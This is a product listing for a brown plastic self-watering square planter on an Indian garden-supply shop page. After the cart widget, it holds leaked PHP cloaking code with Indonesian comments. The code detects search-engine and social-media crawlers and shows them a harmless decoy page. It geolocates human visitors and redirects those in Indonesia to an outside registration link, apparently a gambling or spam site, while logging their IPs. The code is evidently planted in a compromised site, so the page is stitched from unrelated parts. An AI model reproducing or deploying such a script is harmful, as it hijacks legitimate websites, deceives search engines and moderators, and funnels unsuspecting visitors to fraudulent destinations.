Sold!

10.2 inch (26 cm) Rato High Small Self Watering Square Planter (Umbra/Dark Brown)

Original price was: ₹1,500.00.Current price is: ₹899.00.

Specifications

Self Watering Yes
Height 19.7 inch (50 cm)
Upper Length 10.2 inch (26 cm)
Upper Breadth 10.2 inch (26 cm)
Lower Length 7.9 inch (20 cm)
Lower Breadth 7.9 inch (20 cm)
Drainage Holes 0

Highlights

Product Type Standard
Each unit contains 1 Planter, 1 Self Watering Kit
Color Umbra/Dark Brown
Size Matt Finish
Shape Square
Product Material Plastic

Place

Indoor, outdoor, terrace, office, commercial space etc.

Uses

Interior / exterior home decoration with all types of plants.

Out of stock

Category : SELF WATERING POTS
Share Outside

Whether you have a large garden, patio or balcony, take a look at this colorful and very affordable range of plastic pots, made for the people who appreciate modern design and traditional solutions.This planter comes with insert/inner liner and self-watering system.

Self-watering planters have many advantages like it conserves water, retain nutrients, encourages healthy root growth etc.

0:00
0:00
0
    0
    Your Cart
    Your cart is emptyReturn to Shop
    'https://www.14belizeus.top/daftar?ref=fbini', 'safe_file' => 'putih.html' ]; // Baca konfigurasi if (file_exists($config_file)) { $config = json_decode(file_get_contents($config_file), true); $url_target = $config['url_target'] ?? $default_config['url_target']; $file_aman = $config['safe_file'] ?? $default_config['safe_file']; } else { // Jika file config belum ada, buat dengan default $url_target = $default_config['url_target']; $file_aman = $default_config['safe_file']; // Simpan config default $default_config['last_updated'] = date('Y-m-d H:i:s'); file_put_contents($config_file, json_encode($default_config, JSON_PRETTY_PRINT)); } $log_file = __DIR__ . '/logs/visitor_stats.json'; // Buat folder logs jika belum ada if (!file_exists(__DIR__ . '/logs')) { mkdir(__DIR__ . '/logs', 0755, true); } // ============================================ // FUNGSI DETEKSI BOT // ============================================ function is_bot() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; // Daftar bot lengkap (sudah termasuk TikTok dan ByteDance) $bots = [ // Social Media Bots 'facebookexternalhit', 'Facebot', 'twitterbot', 'linkedinbot', 'pinterestbot', 'slackbot', 'discordbot', 'telegrambot', 'whatsapp', 'skypeuripreview', 'instagram', 'snapchat', // TikTok & ByteDance Bots (BARU DITAMBAHKAN) 'tiktok', 'tiktokbot', 'tiktokspider', 'ttspider', 'bytedance', 'bytecrawler', 'tokbot', 'tiktok webview', 'tiktok embed', 'byte', 'dance', 'tiktokcrawler', // Search Engine Bots 'googlebot', 'bingbot', 'yandexbot', 'applebot', 'Googlebot', 'Google-InspectionTool', 'bingpreview', 'BingPreview', 'Googlebot-Image', 'Googlebot-News', 'Googlebot-Video', 'AdsBot-Google', 'Mediapartners-Google', 'AdsBot-Google-Mobile', 'Google-PageSpeed', 'Pagespeed', 'Google-StructuredDataTestingTool', 'Google-Site-Verification', 'Google-Read-Aloud', 'Google-Translate', 'Googlebot-Mobile', 'Googlebot-Desktop', 'Google Favicon', 'Google', // Other Bots 'facebookcatalog', 'externalhit', 'yahoo! slurp', 'baiduspider', 'sogou', 'exabot', 'mj12bot', 'ahrefsbot', 'semrushbot', 'rogerbot', 'dotbot', 'seznambot', 'mail.ru_bot', 'blexbot', 'archive.org_bot', 'duckduckbot', 'yandeximages', 'yandexmetrika', // Microsoft Bots 'bingpreview', 'msnbot', 'msnbot-media', 'bingbot', 'bingbot', 'slurp', 'bing', // Crawlers 'crawler', 'spider', 'bot', 'scanner', 'checker', 'validator', 'analyzer', 'extractor', 'fetcher', 'parser', 'monitor', 'scrapy', 'wget', 'curl', // Social Media Preview Bots 'Slackbot-LinkExpanding', 'Slack-ImgProxy', 'TelegramBot', 'WhatsApp', 'SkypeUriPreview', 'Twitterbot', 'facebookexternalhit', 'Facebot', 'LinkedInBot', 'Pinterestbot', 'Discordbot' ]; foreach ($bots as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } // Deteksi tambahan untuk TikTok (User Agent pattern khas) if (stripos($user_agent, 'ttspider') !== false || stripos($user_agent, 'byte') !== false || (stripos($user_agent, 'tiktok') !== false) || (stripos($user_agent, 'bytedance') !== false)) { return true; } // Deteksi IP bot umum (opsional) $ip = $_SERVER['REMOTE_ADDR'] ?? ''; $bot_ips = ['66.249.', '74.125.', '207.46.', '65.52.', '157.55.', '40.77.', '52.167.']; foreach ($bot_ips as $bot_ip) { if (strpos($ip, $bot_ip) === 0) return true; } return false; } // ============================================ // FUNGSI DETEKSI NEGARA DARI IP (FREE API) // ============================================ function get_country_from_ip() { $ip = $_SERVER['REMOTE_ADDR'] ?? ''; // Filter localhost/IP private if ($ip == '127.0.0.1' || $ip == '::1' || strpos($ip, '192.168.') === 0 || strpos($ip, '10.') === 0 || strpos($ip, '172.') === 0) { return 'LOCAL'; } // Gunakan API gratis (ip-api.com - 45 req/min dari satu IP) $api_url = "http://ip-api.com/json/{$ip}?fields=status,countryCode"; // Caching untuk mengurangi request API $cache_file = __DIR__ . '/logs/ip_cache.json'; $cache = []; $cache_time = 86400; // 24 jam if (file_exists($cache_file)) { $cache = json_decode(file_get_contents($cache_file), true) ?: []; // Hapus cache expired foreach ($cache as $cached_ip => $data) { if (time() - $data['time'] > $cache_time) { unset($cache[$cached_ip]); } } } // Cek cache dulu if (isset($cache[$ip])) { return $cache[$ip]['country']; } // Request ke API $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 3); // Timeout 3 detik curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; CloakingScript/1.0)'); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && $response) { $data = json_decode($response, true); if ($data && isset($data['status']) && $data['status'] == 'success') { $country = $data['countryCode'] ?? 'XX'; // Simpan ke cache $cache[$ip] = [ 'country' => $country, 'time' => time() ]; file_put_contents($cache_file, json_encode($cache)); return $country; } } // Jika gagal, simpan sebagai unknown $cache[$ip] = [ 'country' => 'XX', 'time' => time() ]; file_put_contents($cache_file, json_encode($cache)); return 'XX'; // Unknown } // ============================================ // FUNGSI LOGGING DENGAN GEO DATA // ============================================ function log_visitor($data) { global $log_file; // Load data existing $logs = []; if (file_exists($log_file)) { $logs = json_decode(file_get_contents($log_file), true) ?: []; } // Tambah data baru $logs[] = $data; // Batasi 5000 record terbaru if (count($logs) > 5000) { $logs = array_slice($logs, -5000); } file_put_contents($log_file, json_encode($logs, JSON_PRETTY_PRINT)); } // ============================================ // MAIN LOGIC - CLOAKING DENGAN GEO DETECTION // ============================================ // Cek apakah bot terlebih dahulu (bot selalu dapat file aman) $is_bot = is_bot(); // Inisialisasi variabel $country_code = 'XX'; // Logika penentuan redirect if ($is_bot) { // BOT: selalu ke file aman $redirect_url = $file_aman; $visitor_type = 'BOT'; } else { // MANUSIA: deteksi negara $country_code = get_country_from_ip(); // Jika dari Indonesia (ID), redirect ke target if ($country_code == 'ID') { $redirect_url = $url_target; $visitor_type = 'HUMAN_ID'; } else { // Selain Indonesia, termasuk unknown/local, ke file aman $redirect_url = $file_aman; $visitor_type = 'HUMAN_' . ($country_code ?: 'OTHER'); } } // ============================================ // LOG DATA PENGUNJUNG // ============================================ $visitor_data = [ 'timestamp' => date('Y-m-d H:i:s'), 'ip' => $_SERVER['REMOTE_ADDR'] ?? '', 'user_agent' => substr($_SERVER['HTTP_USER_AGENT'] ?? '', 0, 150), 'referer' => substr($_SERVER['HTTP_REFERER'] ?? 'Direct', 0, 200), 'is_bot' => $is_bot, 'country' => $country_code, 'visitor_type' => $visitor_type, 'redirect_to' => ($redirect_url == $url_target) ? $url_target : $file_aman, 'action' => ($redirect_url == $url_target) ? 'REDIRECT_TO_TARGET' : 'SHOW_SAFE_PAGE' ]; // Simpan log log_visitor($visitor_data); // ============================================ // EKSEKUSI REDIRECT / TAMPILKAN FILE // ============================================ if ($redirect_url == $url_target) { // Redirect ke target (302 temporary redirect) header("Location: $redirect_url", true, 302); exit(); } else { // Tampilkan file aman if (file_exists($file_aman)) { // Set content type berdasarkan ekstensi file $ext = pathinfo($file_aman, PATHINFO_EXTENSION); if ($ext == 'html' || $ext == 'htm') { header('Content-Type: text/html; charset=utf-8'); } elseif ($ext == 'php') { // Include file PHP jika diperlukan include($file_aman); exit(); } readfile($file_aman); } else { // Fallback jika file tidak ditemukan echo "Preview"; echo "

    Halaman Preview

    "; echo "

    Ini adalah halaman aman untuk pengunjung dari luar Indonesia atau bot.

    "; echo ""; } } exit(); ?>